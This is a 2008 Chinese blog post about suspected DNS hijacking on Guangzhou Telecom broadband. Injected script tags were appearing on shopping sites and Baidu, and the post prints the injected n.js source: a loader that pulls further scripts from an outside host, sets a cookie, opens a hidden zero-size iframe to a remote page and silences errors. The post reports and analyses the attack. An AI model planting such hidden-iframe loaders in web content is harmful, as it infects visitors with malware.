广州电信为虎做怅还是遭人劫持？
点击次数：23 次 发布日期：2008-11-18 00:23:06 作者：源代码网
|
今天我老婆上某化妆品在线购物商城，发现平时浏览速度很快的网站居然N久才打开，我就郁闷了，结果发现无端端地出现了“<script src=http://66.186.33.44/n.js></scrip>”。打开百度，也出现了同样的代码。向程序高手请教后说是被黑客下了木马。不仅是我，还有很多人遇到了此类状况。哈哈，看来今天有重头戏看了….
 百度
 下面的是<script src=http://66.186.33.44/n.js></script>的源代码
document.writeln("<script src="http://ora.3168a.com/s368/NEwJs2.js"></script>");
document.writeln("<script>");
document.writeln("function oK_KaiShi(){");
document.writeln("var Then = new Date() ");
document.writeln("Then.setTime(Then.getTime() + 24*60*60*1000)");
document.writeln("var cookieString = new String(document.cookie)");
document.writeln("var cookieHeader = "Cookie1=" ");
document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");
document.writeln("if (beginPosition != -1){ ");
document.writeln("} else ");
document.writeln("{ document.cookie = "Cookie1=POPWINDOS;expires="+ Then.toGMTString() ");
document.writeln("document.write("<iframe width=0 height=0 src="http://ora.3168a.com/s368/t368.htm"></iframe>");");
document.writeln("}");
document.writeln("}");
document.writeln("oK_KaiShi();");
document.writeln("</script>");
document.writeln("<script>window.onerror=function(){return true;}</script>")
去网上查询了一下：66.186.33.44 发现如下结果
 去网上查询了一下：ora.3168a.com 发现如下结果。
 很明显，这是一个惯犯了，之前还有过不同的木马及病毒。
这次也有个很特别的事情发现，这个病毒不是直接感染计算机，而且感染了DNS服务器。
测试过用国外的代理就不显示些病毒了，也试过用东莞的机子测试无出现这个病毒，唯有电信宽带有。广东珠江宽频及视讯宽带的都没有出现以上问题。
因为时间紧迫无法找到广州电信本地的用户查看一下，是否出现同样的问题，不过天河北这附近的一些写字楼都出现以上问题。
源代码网供稿. |
